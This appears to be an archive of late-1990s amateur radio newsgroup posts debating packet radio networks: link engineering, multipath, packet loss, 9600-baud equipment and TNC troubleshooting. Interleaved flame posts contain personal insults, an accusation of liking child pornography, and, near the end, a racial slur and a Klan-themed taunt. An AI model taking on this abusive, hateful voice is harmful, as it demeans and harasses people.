>Hmmm ... "external" amplifier. Didn't think I said that ...

You said,

"Some assembly required i.e. the transverter and amplifier
you will need to make a useful system".

The only way to read that is if you're talking about an amplifier
external to the transverter. Otherwise, no assembly would be
required between the transverter and the amplifier.

>Why any extra delay? Whether the final transistor is 10W
>or 100W, the delay should be (about) the same: a few ms. max.
>Certainly true for my HF radios. No reason to think vhf/uhf/shf
>would be any different.

It is *possible* to design an amp like that, but off the shelf
amateur UHF external amps generally don't have fast TR.
100 to 200 milliseconds is typical, and far too slow for use
on a fast network unless you're doing permanently nailed
up duplex point to point links. The thing is, permanent network
links need to be properly engineered anyway, so the whole
issue of alligators becomes moot at that point.

>I was talking line of sight paths. Lots of mountains here. TOO many.
>Get reflections from all directions due to those big white volcano things.
>So we use yagis.

Sure, we use beams too, when we're establishing a dedicated link. If you have line of sight, then you certainly don't need much power. A few hundred milliwatts does fine out to LEO distances when you can employ gain antennas and nothing is in the way of your signals.

Terrestrially, the less power you run, the less multipath you have to deal with on the other end, because the attenuation of the reflected signals puts them below your noise floor. More power always makes multipath problems *worse*. We only need a CNR of about 10 dB to meet our BER target against gaussian noise. Running more power than that on a link will just exacerbate any multipath problems you may have.

(Actually, you do want to build in some fade margin on a path that may have to traverse regions where inversions may form, but not the 60 dB or greater that most alligator stations use. Use of circular polarization on both ends of the link is also highly recommended because reflections reverse polarization sense, so you can get another 20 dB or so of multipath suppression this way.)

I'm going to break the message here because it is getting very long.
I'll touch on other points in another message.

Yeah, but you don't need much of a scope. You need dual trace, but
even an audio bandwidth is sufficient. A suitable scope costs two
or three hundred dollars, surplus or import. (Of course you'll never
regret buying a better scope, but you don't have to spend thousands
either.)

Yeah, you *could* bit bang one HDLC interface. But if you're running
a modern multitasking OS and have other applications that need to
run, or want to service several packet modems at a node site, then
the hardware assist is very welcome.

>> There are others. A Mac can work directly from its serial port since it

>
>Hmmm ... my Imsai I/O chips can do HDLC ... back to CP/M ?

That's not as droll as it sounds. A dedicated packet switch could be
built up on a CP/M base. It isn't the way I'd do it, what with commodity
PCs so common and cheap, but it would be feasible. The TAPR NNC
didn't have any *technical* reasons why it wouldn't work. It just got
bypassed by the economics of clone PCs. (I have one of the six
extant fully populated and functional TAPR NNCs.)

>> Basically, you're looking at $600 to set up for 56 kb. That's more than

>> BER with G3RUH style 9.6 kb).
>
>Things are a bit cheaper for 9600. Any old serial card will work.
>Radios are available cheap (TEKK e.g).

When I started fooling with 9.6 kb, I thought the same. But the TEKK
radios aren't a panacea. The receivers are pretty deaf, yet they have
wide open front ends. They are IMD generators on a high RF site
without cavities in front of them, and if you add cavities, that just makes
them deafer. So they are really only useful at electrically quiet sites, and
paired with a station capable of delivering a strong enough signal to
overcome their lack of sensitivity. Thus they can serve in some cases
as user radios, but they won't do in general as network radios.

You need a more robustly designed radio to service the network. Now you
can convert commercial surplus such as a Micor, Mitrek, or GE Mastr II,
but that's not *off the shelf*, and I've seen a resistance by you and Charles
to the idea that you might actually have to do some radio work. So that
limits you to appliances, and the only appliances sold for amateur radio
which work adequately out of the box are the multimodes.

You still have the problem of dealing with HDLC encoded signals too.
So ordinary serial interfaces won't do either. You either need a HDLC
hardware card in the computer, or some sort of software bit banger.
You wouldn't want to use a TNC (how quaint) to handle HDLC to serial
RS232 conversion because you double latency when you do that. You
can't afford that when you start out with such a low speed.

Trying to make a G3RUH encoded 9.6 kb system work well is neither
simple nor cheap when you begin to look at the problem from a network
perspective (and limit yourself to appliance solutions).

Yep, exactly so. If you're satisfied with low rate and non-realtime usages,
then you can do moderately long haul dedicated links. You can't sustain
an extensive packet network that way, however, because latency becomes
so great that very few people will tolerate it, even for non-realtime uses. In
other words, if a Pony Express rider could beat your packets across the
country, your network wouldn't be sustainable.

That's what happened to the BBS "network" (which wasn't really ever a
network in the sense of a packet switched network anyway). When it was
the only game in town, it got a bit of use. But as soon as something faster
became widely available, it fell into disrepair. In other words, most of your
users abandoned you for the internet. You and Charles can rail about that,
but it is fact, and ultimately one has to face facts or become permanently
disassociated from reality.

There are a number of historical parallels to that. The telegraph supplanted
the Pony Express, steamships supplanted windjammers, the airplane
supplanted the ocean liner for intercontinental travel, etc. If you can't deliver
speed and convenience, your users will abandon you for systems which can.

You have to define your niche, and fill it the best way that you can. The
bicycle is a wonderful and efficient tool for getting around a relatively
small area, but few people would choose it for a cross country journey.
Amateur packet radio networks can be wonderful at the MAN level, but
when you try to stretch them across the vast empty spaces, you run into
the sparse network topology problem, ie there's a whole lot of nothing
between the centers of activity where a viable network can be supported.

>> >2)

That is not just an exceptional location, it is an *extremely*
exceptional location compared to what is available to most
of the country. When you start talking about continental
scale networks, you have to look at more of the continent than
that part of it immediately outside your window.

>My horizon to the north, however, is about

>
>Not possible. We have these hills and mountains.
>The 100 mile link to the south works very very well.
>However that link of 25 miles to the north would take
>three relay points to make it line of sight. Oops.

Yeah, and if the two hops were linked as part of a network path,
all the traffic traversing that part of the net would be limited by the
BER of the worst link in the path. That's why you can't have bad
paths in your network. They kill more than just the one hop's
performance. They drag down a large segment of the network's
traffic along with them.

What you can do is break the network at such bad locations,
forming multiple smaller networks. You can then internet them
using routing topologies that avoid the bad link *if the overall
topology is sufficiently redundant to avoid having any one critical
path*. The total path from any station to another may then be longer,
but it won't be flaky, and only users who need to bridge between
those segments at the moment are impacted. OTOH if you let

those marginal, flaky, and slow paths into your network, the whole network suffers.

The problem is, we often aren't thick enough on the ground to provide those alternate routes. So our dream of a coherent national network founders and we have to be satisfied with a bunch of smaller disjoint networks. We may be able to gateway between some of these disjoint networks on an intermittant or very limited basis, but we can't tie them into a coherent national level network on a 24x7 basis.

Actually, it isn't an option at all right now for Part 97
use. The only SS equipment available that's up to the
job is commercial equipment designed for other
services. There are a host of problems to be overcome
before SS will play a role in amateur packet networks
as anything other than a novelty.

Half-assed is still half-assed. Squandering our scarce resources,
people, and community support on systems we *know* can never
perform at a satisfactory level is worse than foolishness. It actively
damages our chances of doing the sorts of things we *can* do well.

>> Grandiose fast amateur RF networks spanning thousands

>
>Nonesense. It COULD be done, but not with the "I need a relay
>point every few miles" or "The BER must be perfect" thinking.

Perhaps you'd care to enlighten us how it "COULD be done".
Remember that "it" is a fast coherent national level packet
switched network capable of handling the sorts of applications
which have currently pulled our user base away from packet
radio and on to the wired internet.

>Olympia/Tacoma, WA - Portland, OR - 100 miles.
>Portland, OR - San Francisco, CA - 600 miles.
>etc.

My, my, how California has grown. My atlas says that of those
cities, only the latter is in California. :-)

Most of the population of California is arranged linearly down
the coast in a 50 mile strip between sea and mountains. That
makes it suitable for rail transit (which much of the country, not
constrained to a tight linear corridor, is not), and also makes it
suitable for a well designed fast coherent backbone network.

But California has neither at this time. IMHO that's mostly a matter
of lack of desire rather than insurmountable physical obstacles.
In much of the rest of the country, there are insurmountable
(with amateur level resources) physical barriers to a national
level network.

>Yes, there are some small cities, and a lot of small (very small)

>to get there though. If one could accomplish all the above, then
>one has a network roughly following I-5 down the coast.
>But what about inland? More big mountains in the way.

Yes, you make my case for me very well. Cross the Rockies
and picture spanning the Great Plains, the prospects for a
coherent fast national packet network become even more
bleak.

>So we use a lot of long haul to very long haul 2M 1200 baud links.
>It's that or nothing.

Yes, and for distances beyond a couple of hops, you effectively
have nothing. You're down to a couple of characters a second
net, or worse you've got constantly breaking links, and a net that's
fully congested by reconnect attempts and retries. At one time,
we had a 1200 baud net that reached from Maine to the tip of
Florida. It was virtually useless most of the time.

Who said you wouldn't get the award too?

An award for people who made an effort to let other people enjoy
some service would probably be good idea.

(of course not demanded by that amateur himself, but granted to him
by others who appreciate the service)

Hi,

Just as a follow-up to my original posting (the fault with the computer not shutting down correctly after using logger). After the problem was apparently cured it re-occurred. This time I contacted the author of Logger and he suggested removing "Fast File" from my start-up menu. This did the trick!

BTW, could someone point me to the Logger reflector?

Cheers,

Roger Basford G3VKM

I have used the MFJ 1278, the Kantronics KAM Plus and the AEA PK-232. In my
experience I found the KAM to be the best at copying CW, Pactor, Rtty.
The Pk-232 comes standard with a 200 Hz shift which is designed for HF packet
as opposed to the 170 hz shift used om Pactor and RTTY. It will work but it
is not the optimum setting. The KAM does have multiple selectable shifts.

One last note the KAM plus or KAM 98 is the smallest one of these units, if
size is any
concern.

Good luck Dave Struebel WB2FTX - Running HF NTS Winlink- Amtor,
PActor,Clover.

Funny, we get this a lot in comp.os.vms and other os related
news-groups. ADVISORY! The Profs also scan the news-groups now a
days. Part of your education is learning how to research. There are
plenty of references on the web and in your university's library.

You might try "Reference Data for Engineers: Radio, Electronics,
Computer, and Communications" by Jordan. Excellent reference.

If you do the research on your own, you will retain the skills longer.
And, you will receive the satisfaction of doing it yourself.

Good luck on your test.

I didn't imply that it bothered me, jackass. However, porno featuring 12-16 year olds is sick. If you like child pornography, that is your business, Grunt. I wouldn't admit it in such a public forum if I was you, since the FBI does look for kiddie pornphiles such as yourself.

Dear Student:

What kind of University allows you to get "help" from a NG on your tests?

Send us the name of your University the name and email address of your Professor and the name and email address of the chief administrator of your University.

We'll check with them first to see if it's OK to help you. If so . . . then you might expect some help from here, otherwise . . . .

Good luck on the test!

Strange? I never got help on my tests! What ! ! ! Am I just an old fogie or what?

More dumb questions --- sorry:

As far as deciding on HF Forwarding or Satellite forwarding -- should
the HF Sysop have to work that hard? Can the software transmit packets
via a "shortest known path" -- then if there are no acknowledgements
resend via other routes?

BTW -- Thanks for the discussion -- I'm learning things, here.

Thanks, again:

I'm remembering my days of yore on third shift RTTY watch for Uncle
Sam. That's why I was wondering about bands and fixed distances. We
would determine our frequencies by the distance between stations and
peak traffic periods. We always had "A", "B", & "C" systems online with
the "B" & "C" systems on hot standby tuned to different frequencies. We
rarely had stations much more than 500 kilometers apart and usually kept
our frequencies below 10 Mhz. We would relay (manually, back then)
between networks
and could often get traffic sent thousands of kilometers in a very short
time. Basing on these distances it would take 10 - 12 hops to work from
coast to coast, but I don't
know if there are that many hf digital nodes online.

Thanks for the information on this. It's really great.

> links need to be properly engineered anyway, so the whole
> issue of alligators becomes moot at that point.

I thought, from what I wrote, it would be obvious I consider what goes between the PACCOM unit and the antenna to be a single object. I understand that object might be constructed of more than one "module". That object, whatever you want to call it, needs to produce more than 10W into the feedline for it to be useful in the application I have in mind. However that higher power is obtained does not matter. Of course it must have a reasonable switching time, and I thought that was well covered in the third paragraph. Only one such module comes to mind off hand, and I do not know if they are still for sale.

I'm not much interested in "typical", but rather in "where can I get what I need for this project."

Why do you keep saying "alligator"? That means a station which hears poorly compared to how well it can be heard by normal stations. I am certainly not talking anything like that, but rather matched stations that obtain their required power spread via the use of reasonable power and good antennas. Remember: this is a point to point link I'm working on. It could well be full duplex, thus avoiding T/R switch time issues. However I wish to consider the half duplex alternative because it is easier to coordinate a single frequency.

I guess my bottom line is that I'm not at all interested in why this cannot be done. I'm only interested in how to go about doing it. Where there are no links, a not-quite-perfect link is a huge improvement.

Have begun gathering the needed test gear, which I need in any case to be able to get some existing 9600 baud links working properly. But I still need someone for the "other end" of the high speed link

Nonesense. I *know* quite well that you think it is impossible to have
any fun with digital radio unless everything is perfect and as speedy
as the internet and works perfectly all the time for everybody and for
all applications. Not my interest. I enjoy playing with radios and antennas
and stuff like that to see what I *can* do.

On this topic I think you are just plain wrong Gary.
Without these "marginal links" there IS NO NETWORK.
There cannot be any "impact" on network which does not exist.
What I'm trying to do is create SOME network.

>traffic along with them.

Okay, I'm still trying to figure out why his 25mile 'bad path' link
would necessarily have a BER, as you say, above 1e6. Is there
any reasonable way for him to really measure this? Maybe a
problem here is that we 'think' we might have links that are good,
but they have bit error rates, good enough so the the link 'seems'
okay, but really the errors are bad enough to cause network problems.
And that what's really needed are some good tests.

1e6 bits, that's 125,000 bytes or about 490 256 byte packets. Now,
let's say, he digipeated 500 256 byte packets of random data from his
system, to the other end and back, we should find that he should miss
more than a couple, if his BER is worse than 1e6 -- right? Since that
would have been 2*500*256*8 bits going through the link. That is twice
for the trip up and back. I'd be curious to know the results of this kind
of measurement to know how good or bad the link really is. Could
this be a way to decide if new links are going to hurt or help the network?
That is simply do measurements of bit errors, and if they're low enough
it's okay, however the thing works.

Also, I'm also trying to figure out what exactly is the mechanism that
brings in the errors -- assuming that if he did the measurement, we'd
find BER's much worse. For the speed of light of 186000mps, the

length of a bit is going to be about that divided 9600 or about 18.6 miles -- right. So are we assuming then for his weird path of 25 miles, he's getting a direct path of 25 miles, and perhaps at the knife edge of the mountain in between there are going to be a bunch of paths, all coming in at slightly different lengths across the top of the mountain range -- as each one deflects off a slightly different point. So, maybe some signals are sneaking in on a path that's say 34 miles long or 1/2 bit late.

Is there any horse sense, generally about FSK, that say, how many db below the main signal, would a path that's say, 1/4 of a bit late, need to be before the channel is reliable? Is a path a few db down that's 1/2 of a bit late really bad? Here across the SF Bay, I assume that even the line of site paths, still have that line of site path, and another reflection off of the bay -- and I've heard off the Bay Bridge, of all things. .

And finally, say, we warp ahead in time to the future where everything is Spread Spectrum, and FSK is long forgotten. Is Spread Spectrum, because of it's immunity to multi-path, going to actually make these billiard ball paths -- that is up and over mountains and bouncing off buildings and things useable? Or is something else going to bite us, even with Spread Spectrum.

(Btw, it occured to me that if Alligator thinking is bad, bad, bad, then the HDTV people might have a little problem here in the SF Bay area, with all it's hills.)

Thanks for the info -- between you and Cathryn, I'm learning some really
neat stuff.
I read ahead a couple of messages before responding, this time.
Unfortunately, more questions. I can understand how the software should
be controlling what the TNC does. Can software determine, through the
TNC, what are the best frequencies to use? Does the
average Clover or Pactor controller have the capability of relaying that
kind of data to the software?

Also, what are the requirements for power & antennas for the HF Node?
I, like Cathryn,
am limited in what I can fit into a small backyard without iritating
spouse and neighbors. I do have one radio (IC-746) that is software
controllable and one DX-70T that isn't. I don't have any amplifier to
get past 100 (+change) watts output. I, also
have a TS-520, but the requirement for retuning the finals sort of
eliminates automated
frequency changes.

I think the next one is for Cathryn -- I use Linux at home. I am
working on the Ham net
AX.25 routines for VHF/UHF packet. Is there software available for Unix
Based machines?
As I said, I'm not a programmer. I know some C & assembly, but mostly
for system utility routines.

Thanks again

Referent was "the West", transitive through "It's".
I'll let others comment on your strange ideas about California.

45,000 square miles is a very small area. The Western network
covers only 1,050,000 square miles now. It used to cover nearly
1,500,000 square miles, until we lost the links east from Montana
and the links across Texas. This does not count the Canadian
or Mexican portions of the network ...

Don't even bother with the "realtime" comments. It ain't, it
was not intended to be, and the resources to build such a
thing do not exist. It's store and forward.

You got that right!

I keep wondering why Steve is stuck at that 30 baud?
Suspect he is trying to run digital data on his spark transmitter.

Most of us left "30 baud effective" behind 10 or 15 years ago.
But let me tell you a dirty little secret: I'm running 32 baud on HF
right now with both my radios. The data rate happens to be a LOT
faster than that 32 baud signalling rate though. Bet Steve has no
clue what I'm talking about.

In the US National Traffic System, awards are given to the stations
that relay messages within that system. From time to time I remember
to send in my traffic counts. Even though I don't actually do anything
myself (the computers do the work) I get one of those awards
every now and then. Others send and deliver the messages, I just
let 'em use my gear to move the traffic where it is going.

The software running on the computer controls the TNC and the radio.
That software simply tries a connect, and if the connect fails, it tries on
a different frequency or band. Very simple actually.

> Also, what are the requirements for power & antennas for the HF Node?

100W and tribander will do quite well. "More is better" particularly for
multi-hop long haul paths (e.g. across oceans). On 40M, I have found
an inverted vee to be optimal for the short paths I use.

Like I mentioned, I run one system fixed frequency (the 40M one).
Can be very useful. The 746 will work fine ... nice radio!

> Based machines?

Nothing much yet. I may port SNOS to Linux, since that would be
fairly easy to do, and there is a Linux machine in the shack. In particular,
I don't know of any drivers for PACTOR/CLOVER in Linux. The basic
AX.25 and NET/ROM stuff is there, and included, for example, in
the Red Hat distribution. It builds into the kernel ok, but have not
actually tried doing anything with it. Sources are included.

I hope Cathryn has had more luck finding applications for Linux.

Well, if you have the PCT2, everything is plug and go with Linux, as xfbb supports this directly. I have some code I'm working on that works for calling out with my Pk232 -- though the setup is a little weird that you need
to make a alias in Linuxnode, and then use a loopback device to call back your own node from FBB, though this code seems to work, at least for me. I have written some code for receiving, though this is a bit
on hold until I get two pactor modems here at my house, so I can check both ends off the air. So, figure on a few more weeks for that.

I measure packet loss, not BER. There are some good technical reasons
to do it this way. The main reason is that errors tend to be bursty.
So BER gives some clues about a link's performance, but does not
tell the story you want to hear: how well does the link work in practice.

In practice, my "bad" 25 mile link runs at about 1% packet loss.
Sometimes it is better, sometimes worse, depending on how wet the
trees on the ridge to my north happen to be, how many bad electric
fence chargers are nearby, whether a C-130 is right in the path, etc.

My "real bad" link is over a 40 mile perfect line of sight path.
10W and 10 db yagis both ends. Frequent SERIOUS noise sources
along the path. The link runs either 0% packet loss, or 50% loss,
depending on the noise situation. Changes from hour to hour.
This is a backup link, so it does not usually get heavy use, unless
the primary link has failed.

My "good link" is another 25 mile path. Can see the antenna at the other
end from the shack window (using a telescope). No trees in the
way. No noise sources in that direction (big surprise, it crosses
5 miles of industrial area and 10 miles of city). Occasional packet
loss, nothing to worry about.

> Also, I'm also trying to figure out what exactly is the mechanism that
> brings in the errors -- assuming that if he did the measurement, we'd

> he's getting a direct path of 25 miles, and perhaps at the knife
> edge of the mountain in between there are going to be a bunch of
> paths, all coming in at slightly different lengths across the top of
> the mountain range -- as each one deflects off a slightly different point.

Both antennas see some of the same mountains, both the coast range
(to the west) and the cascades (to the east). There are many (dozens)
of local hills of 1000 - 2000 foot elevation in all directions. Portland
terrane is a mess for radio. It's even worse. Channel 10 (PBS) is
40 miles north of here. Continue that path 25 more miles to Mt. St.
Helens. A bit east of path is Mt. Adams. Line of sight to the transmitter.
If my TV antenna is pointed exactly right, there are only a few ghosts.
So we get all kinds of scatter on every link path. It's a fact of life here.

The Bay area is quite similar: mountains on both sides, some cross-valley
hills that break things up, etc. etc.

> So, maybe some signals are sneaking in on a path that's say 34
> miles long or 1/2 bit late.
>

Yes, it can be a problem due to the timing and amplitude jitter it causes.

> the SF Bay, I assume that even the line of site paths, still have that
> line of site path, and another reflection off of the bay -- and I've heard
> off the Bay Bridge, of all things. .

... and the Oakland hills, and Mt. Hamilton, and Loma Prieta, and the
whole of the Santa Cruz mountain ridges, etc.

> (Btw, it occured to me that if Alligator thinking is bad, bad, bad,
> then the HDTV people might have a little problem here in the
> SF Bay area, with all it's hills.)

Gary is just using a catchword meaning "I don't run high power".
When both systems have similar power output, and similar receiver
noise floor, there is no "Alligator effect". Gary was simply being
disingenuous: nobody with any knowledge would build "Alligator"
links, it is a waste of money.

Okay, well that makes sense. I guess that a 1e6 bit error rate would look more like a .1% packet loss, given small-ish ham radio packets. I imagine if it were some kind of intereference or something, then maybe you could figure out a way to cut that out. Though from the talk here, It sounds like maybe
multipath probably accounts for the majority of the 1% packet loss.

This is just a strange thought, and I don't suggest you try this, but as a thought
experiment, say if you ran two links on two different frequencies over the same path -- transmitting the same blocks of data on both, I wonder, if the lost packets would be random for both links. That way, even if you have a
1% chance of getting a lost packet on each of the links that the odds of the same
packet being lost on both of the links would only be .01% -- that is assuming
you had some software on the other end smart enough to know when the same data arrived on both chanels to only use one. Maybe I'm missing something here.

Get somebody to explain what "content restrictions" do... If I had to
explain it to you, I would not be able to resist the temptation to insult
your "intelligence".

Amazing that you could let that much slide by you. OF COURSE the little
twerp was wanting the rules relaxed so he could "surf the net" for free!

That typifies the motivation behind most of the LandLine Lid community. To
hell with the people who want to use radio to communicate, or who want to
maintain Ham Radio's legal protection from commercial activity and
objectionable content. To hell with Ham Radio, as long as I can surf the net
for free.

You people couldn't be more obvious if you had the words "STUPID JERK"
stenciled across your foreheads.

4063. PK-232MBX COM port info

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-23 00:00:00 UTC
From: wb4ofn@rocketmail.com
Message-ID: <37ea96e1.5651306@netnews.worldnet.att.net>
Source record: 16402

Greetings all,
Recently I had no good luck getting my desktop PC to "see" my
PK-232MBX on COM 2 using Windows 95. Today I brought my old 386/SX20
(with its DOS 6.22 and Windows 3.1 software) out of storage.
I connected my 'MBX to the COM 2 port on the 386 PC, installed
Lan-Link 2.34 and, after the necessary power-down/power-up with the
'MBX I had it running on the first try. Perhaps this info is old news
to some, but to those who (like me) have been unable to get their
PK-232s to run under Win95, the info may be useful.
Does anyone yet know of a "fix" that will make the PK-232 run
correctly using Windows 95? I've seen various posts with various
suggestions for com port parameters, yet everything I've tried has
yielded unsuccessful results. In any event, I'm glad I kept my old 386
PC. I can and have used the PSK31 and Blaster Teletype software with
my sound card, but the PK-232MBX/Win95 problem is perplexing.
73,
Russell Hall WB4OFN

Charlie & rob:

Here's another little item of difference between Europe and Americal telecoms pricing.

In almost all places in the world other than North America, local telephone service is metered by the minute. This is certainly true all over Europe, Asia and Latin America. Now in the USA local telephone service has been available at a flat rate for all you can eat local service for 6 - 7 decades. Since Theodore Vail of AT&T sold Congress on the AT&T monopoly.

Thus in the USA we now enjoy a flat rate local telephone service at approximately $20 per month in all 50 States.

We can call anywhere in our local cities (LATAs) and stay off hook on that connection for 24 hours per day 7 days per week and all we are charged is roughly $20 per month. Long distance of course is extra and charged by the minute, nowadays in the USA you can get long distance service for 5 - 10 cents per minute anywhere in America.

Also we in the USA enjoy all you can eat Internet access service from over 6 thousand ISP's at $19.95 per month, roughly $20 per months as well.

So that . . . In the USA we can dial our local Internet access provider and connect to the Internet at approximately 50 kbps (V.90) for 24 hours per day, 7 days per week for only $40 per month! $20 local phone service plus $20 local Internet access service.

Let me ask you Rob. . . . In comparison to the American pricing, of $40 per month, in the Netherlands how much does a 24 hour by 7 day 50 kbps Internet connection cost?

I hope you feel that you can share this pricing with us all here, because I know what it costs and since I am a "Yank" I want to defer to you who are a citizen of the EC and a Netherlander. Tell us. . . how much?

I believe that this artificially high governmentaly imposed cost/price alone in Europe distorts the hapbits of European amateur packet radio operators. Of course they still favor the use of amateur radio over the Internet.

But for how long will they do this after the prices reach world market prices? I maintain that you will see the same effects that we have seen here in America. The ham packet activity will wither!

We all must act now to save ham packet radio. Stop burying our heads in the sand like Charles Brabbam and other Type B's. It is folly and will decimate amateur packet radio.

Please tell us Rob . . .

Rob how much in the Netherlands for 24 x 7 Internet service? Please share that with us.

Best Regards,

Peter AB4BC

Hello Russ,

You did not mention which software you are running, that makes a big difference. The Timewave software, PC PakRATT for Window 2.1 and PK TERM '99 run under WIN95 without problems. Even the older PC PakRATT/DOS will run until 01/01/00 when it thinks the new year is 100.

Start by doing a hard reset on the PK232. If you have an older PK-232 pop the top and remove JP-1 (by the battery) then turn the 232 on then off. Wait a couple of minutes and turn the unit on. It should come up in baudot mode. Thats the full reset indication. If you have a newer PK-232/MBX there may be an access hole on the bottom that will let you pull JP-1 and do the same reset procedure. Leave the jumper off until you get everything running.

If your running PC PakRATT/DOS, go into the program directory and delete pkdef_.cfg. Now when you run pp.exe it will ask for the comport you are connected to.

If you are running PC PakRATT for Windows use the config menu and set the comport and data rate (I use 4800 or 9600). The using the TNC menu load TNC1 (pk-232). It should work.

Next, Download PK TERM '99 from http://www.timewave.com and give that a try.

To really check out the connection, Use HYPERTERM to test the comport (see the helps files in PK TERM '99 for a discussion of using Hyperterm.

If all fails, call me at (651) 222-4858, thats the Timewave tech Support number and we can try plan B (Whatever plan B is <grin>)

That's one European country heard from. Any others???

Hopefully, other Europeans are following this thread and testify as to whether Internet access is expensive in their country, and whether it's permissible to have Internet/packet gateways there. Either Charles is right, or he's wrong. Word from more Europeans will finally put that matter to rest.

Incidentally, I *have* noted that packet/Internet gateways do exist in a number of European countries, including Slovenia, which boasts a very high speed packet network.

maybe use a cost model like that of repeater clubs. you join and you
get access to the autopatch (ie internet). maybe providing internet
access in underserved communities is a new definition for public
service.

BTW, for "longer haul" vhf links, we have huge chunks of soon to be unused
spectrum in the form of analog TV channels which could be the home for
SS data backbones. think about that!!

indeed... :-)

there are some nice DSSS 802.11 cards comming out from lucent and proxim in the 100-150$ range. they hit 11mbits/second over short (very short) paths and 1 mbit/sec over longer paths. mebby with some proper front end design we can reach gary's ideal BER and a little more ooph on the TX to extend the working range.

I like this solution speed and price wise a little better than the 56k solution. now, can we make it work?

So far, I have not seen any evidence of this alleged "thinking" activity on your part. You always parrot the TAPR party line, being almost incapable of independent thought. Greg Jones says "jump" and you ask how high on the way up. You are a vital component of a trained seal act.

Fortunately, your good opinion of me or of what I do means very little in the overall scheme of things and in my particular case, the level of concern about your opinion can only be measured in sub-micro give-a-hoots.

I don't have to reel off a self-congratulating list of my contributions and achievements, just because some geeks' trained seal barks a few times. I'm aware of what I have done and that's good enough for me. I'm not in it for political reasons, so I could care less about blowing my own horn. I get the most satisfaction from helping people out. Get someone to explain the concept to you sometime.

Despite your repeated requests, nothing has changed in my status as a potential mover 'n shaker in an organization such as TAPR. I have family duties to look to, and in any event, my health does not allow me to travel as much as I used to.
You are a complete ass to insinuate that I cannot contribute to amateur radio unless I travel around, speak in public, and kiss hiney.

Look at Greg Jones... He does all of that, and the sum total of his achievement while president of TAPR was to spread around a lot of doom 'n gloom, accompanied by the usual run of moronic, baseless LandLine Lid propaganda, then preside over the ruins of the once vital US packet net that his policies, travels, and public speaking served to damage.

I can drive to Dallas, pick out a drunk off of the streets downtown, and be looking at somebody who did more for Ham Radio than Greg Jones or TAPR during his presidency, because at least the drunk did not go around trying to discourage hams from using radio.

"If you can do no good, at least do no harm".

Fact is, the packet net in the US went to hell on TAPR's watch, under the "leadership" of your trainer Greg Jones. The European packet net, under more competent leadership (even no leadership at all would qualify) and went on to continue to develop and grow.

After successfully debunking one lame rationalization after another from the desperate LandLine Lid community this week, I am starting to see responses that are increasingly juvenile and personal in nature, and some really silly rationalizations. I'm not dismayed or surprised by it. It's the usual drill, and I look on it at as graceful an admission of their defeat as I can expect from such trash.

Help yourself to all the traditional refuges that losers tend to go for, Steve. Don't forget to refer often to your recently debunked LandLine Lid propaganda!

Give us your rendition of the "applications mantra", followed by a long "European Internet Ghetto" whine, tell us again why hams don't need any rules or regulations again, then you can do what you are really best at and disparage Hams, Packet Radio, Ham Radio, and everything they stand for.

Arf Arf ! Hey, maybe Greg will toss you a mackerel, if you do your tricks right!

Tell us why hams should avoid using ham radio again, Steve!

Be a GOOD Lid!

> That's one European country heard from. Any others???

Not many Europeans hang out here. Maybe Steve's nasty, ignorant comments about Europe might give you a good hint why. Also, I imagine they get bored pretty quickly as US hams debate the possibility of doing things with packet that the Europeans have already been doing for several years. When you were in high-school, did you hang out a lot with 4th-graders, or enjoy overhearing their conversations?

>
> Hopefully, other Europeans are following this thread and testify as to
> whether Internet access is expensive in their country, and whether it's

> right, or he's wrong. Word from more Europeans will finally put that
> matter to rest.

I'm right or wrong, depending on what area you choose to examine in detail. If you look at the overall picture over there, concentrating on those places where the European net has developed the most, you will find that I am right.
Most of my information comes from Germany, but I know some folks in the Netherlands, France, Switzerland and England too.
All of my information concerning this has come directly from the packet ops and sysops over there, not from some group of provincial geeks here in the US who dunno squat about the rest of the world but do not let their lack of knowlege keep them from spouting off "expert" opinions.

There is an extremely active CB community over there, who normally run the JNOS/FBB combination and run high-speed non-ham links like Steve is playing with. I wasn't kidding when I suggested that those who wish to set up radio access to the Internet in the US without those pesky Ham regulations should seriously consider CB. It's not just 11 meters anymore, and would probably do just fine for the purposes of US LandLine Lids, just as it has for the European ones for years.

A lot of times you will see European CB stations running gateways in places where it is illegal to do so with ham radio. These stations get along well with US LandLine Lid stations, sometimes going so far as to swap "mail" with them across networks. For this reason, they are somertimes mistaken for hams by US amateurs who are not used to CB'ers going digital.

>
> Incidentally, I *have* noted that packet/Internet gateways do exist in a
> number of European countries, including Slovenia, which boasts a
> very high speed packet network.

That's the 1 MB stuff we heard so much about year before last, isn't it? The story I got was that it is fairly cheap 'n easy to build... Is there some fatal flaw that has kept it from storming the packet world? Seems to me that if you're going to use the complicated, expensive stuff that requires test equipment, why not go whole hog and shoot for the best speed you can get?

I really kind of expected to see a kit for something like that, by now.

The problem, of course, is that slow Internet access will not impress anybody, and you are not likely to keep up with the speed of the satellite access systems with ham radio. Sure, a demo can be cobbled together, but what do you have ready for use by large numbers of hams? Assuming you work all that out, (and nobody has even come close to it so far) What ISP is going to lease you lines so you can give away freebee access to perfectly good paying customers?

If you are willing to shovel in enough money, you might get something put together five years from now that will "compete" with access speeds common TODAY. By then, of course, the access speeds common today will be a joke, just like your idea of attracting large numbers of people to ham radio with slow, non-commercial, censored, crippled up Internet access. - Which is the best you'll ever be able to offer.

Oh, you had "faster than commercially available" access in mind?

Good luck competing with NASA and the major communications carriers!

Oh, you had "freebee" access in mind, when in many places you can already get that WITHOUT having to study to obtain a license and buying hundreds of dollars worth of specialized equipment that will be obsolete in rapid order?

Have fun selling it!

You folks need to wake up 'n smell the coffee. Read the writing on the wall.

Amateur Radio ISP's are not just a joke; They are a particularly dumb joke.

Exchanging info between the two networks is a different matter, of course.

So to sum up:

Gary maintains that a network may well not be worth doing unless it is high performance.

Hank maintains that having a network that works at all is worth doing even if it will never achieve high performance.

Since volunteers have limited time, each must choose between these two exclusive options. (Goodness knows we have enough bandwidth to support both.)

Sounds like something for everybody. Choose and join!

- Brian

oh oh, guess you will have to come up with another hate term to
label people with! Not just the phone operators, but the wireless
radio users, are now also the new Ham niggers. The BBS boys with
their fire, crosses, and white hoods are coming to save Ham radio...

The No Clue Klux Clan?

The only thing that makes my radio illegal in Ham radio, is the rules
written by the ARRL 19 years ago. Every time you write a rule, it is
like concrete. You need time and energy to break it out.

The initial spread spectrum rules were hard fought, and were a first
step. The only organization doing anything about advancing spread
spectrum is TAPR. How many filings has Chuckles written to change
the rules to allow wide bandwidth. Wide bandwidth that allows
sharing, or cooperative use? How many Hams can use 144.39 for anything
other than APRS? None. The technology requires that you interfere
with other Hams to use the same spectrum.

> All you have to do is discourage hams from using radio to move digital
> information with any means at your disposal, up to and including
> advocating that all the data be moved by non-ham means at every
